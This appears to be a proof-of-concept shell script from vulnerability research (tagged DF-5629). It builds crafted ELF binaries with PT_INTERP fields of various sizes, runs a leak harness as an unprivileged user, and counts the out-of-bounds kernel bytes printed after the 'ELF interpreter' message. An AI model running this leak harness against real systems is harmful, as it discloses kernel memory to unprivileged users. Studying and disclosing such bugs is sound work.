DF-5629 / matrix.sh
#!/bin/sh # DF-5629 size matrix: for each PT_INTERP payload size, run N captures as # the unprivileged user and report how many leaked OOB bytes were printed # after the payload (before " not found"). cd /tmp/df5629 cc -O -o make_interp2 make_interp2.c || exit 1 for sz in 20 32 48 64 96 128 256 512 1000 1024; do ./make_interp2 /tmp/df5629/m.bin $sz 128 hits=0; total=0 i=0 while [ $i -lt 8 ]; do su -m maxx -c "script -q /tmp/df5629/mtx.txt /tmp/df5629/run_leak /tmp/df5629/m.bin 1" >/dev/null 2>&1 tr -d '\r' < /tmp/df5629/mtx.txt | grep -a "ELF interpreter" > /tmp/df5629/mline.txt e=$(awk '{ line=$0; sub(/^.*ELF interpreter /,"",line); printf "%d", length(line)-'"$sz"'-10 }' /tmp/df5629/mline.txt) total=$((total + e)) [ "$e" -gt 0 ] && hits=$((hits + 1)) i=$((i + 1)) done echo "size=$sz hits=$hits/8 total_extra_bytes=$total" done echo done |